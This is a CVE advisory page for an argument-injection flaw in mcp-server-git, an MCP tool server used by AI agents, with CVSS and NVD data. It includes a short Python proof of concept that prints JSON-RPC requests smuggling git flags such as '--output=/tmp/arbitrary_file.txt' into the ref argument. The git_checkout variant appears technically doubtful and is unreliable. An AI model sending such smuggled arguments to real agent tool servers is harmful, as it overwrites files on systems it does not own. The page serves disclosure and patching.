Security Vulnerability Report
中文
CVE-2025-68144 CVSS 7.1 HIGH

CVE-2025-68144

Published: 2025-12-17 23:16:05
Last Modified: 2026-04-14 15:23:26

Description

In mcp-server-git versions prior to 2025.12.17, the git_diff and git_checkout functions passed user-controlled arguments directly to git CLI commands without sanitization. Flag-like values (e.g., `--output=/path/to/file` for `git_diff`) would be interpreted as command-line options rather than git refs, enabling arbitrary file overwrites. The fix adds validation that rejects arguments starting with - and verifies the argument resolves to a valid git ref via rev_parse before execution. Users are advised to update to 2025.12.17 resolve this issue when it is released.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:lfprojects:model_context_protocol_servers:*:*:*:*:*:*:*:* - VULNERABLE
mcp-server-git < 2025.12.17

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-68144 PoC - mcp-server-git Command Injection # This PoC demonstrates how flag-like arguments can be injected # into git_diff function to overwrite arbitrary files import json def generate_malicious_request(): """ Generate a malicious request to exploit CVE-2025-68144 The attacker crafts a flag-like argument that git interprets as a command-line option instead of a git ref """ # Normal request - would list a commit normal_request = { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "git_diff", "arguments": { "ref": "HEAD" } } } # Malicious request - exploits the vulnerability # --output will be interpreted as git diff option, not a ref malicious_request = { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "git_diff", "arguments": { "ref": "--output=/tmp/arbitrary_file.txt" } } } # Alternative attack using git_checkout with -- option injection checkout_malicious = { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "git_checkout", "arguments": { "ref": "--force=/path/to/file" } } } return { "normal": normal_request, "malicious_git_diff": malicious_request, "malicious_git_checkout": checkout_malicious } if __name__ == "__main__": poc = generate_malicious_request() print("=== CVE-2025-68144 PoC ===") print("\nMalicious git_diff request:") print(json.dumps(poc['malicious_git_diff'], indent=2)) print("\nExpected behavior: File /tmp/arbitrary_file.txt will be created/overwritten")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68144", "sourceIdentifier": "[email protected]", "published": "2025-12-17T23:16:04.703", "lastModified": "2026-04-14T15:23:26.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In mcp-server-git versions prior to 2025.12.17, the git_diff and git_checkout functions passed user-controlled arguments directly to git CLI commands without sanitization. Flag-like values (e.g., `--output=/path/to/file` for `git_diff`) would be interpreted as command-line options rather than git refs, enabling arbitrary file overwrites. The fix adds validation that rejects arguments starting with - and verifies the argument resolves to a valid git ref via rev_parse before execution. Users are advised to update to 2025.12.17 resolve this issue when it is released."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:N/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-88"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lfprojects:model_context_protocol_servers:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.12.17", "matchCriteriaId": "866B2B60-3C41-4155-9191-DFDBFCB06EB9"}]}]}], "references": [{"url": "https://github.com/modelcontextprotocol/servers/security/advisories/GHSA-9xwc-hfwc-8w59", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}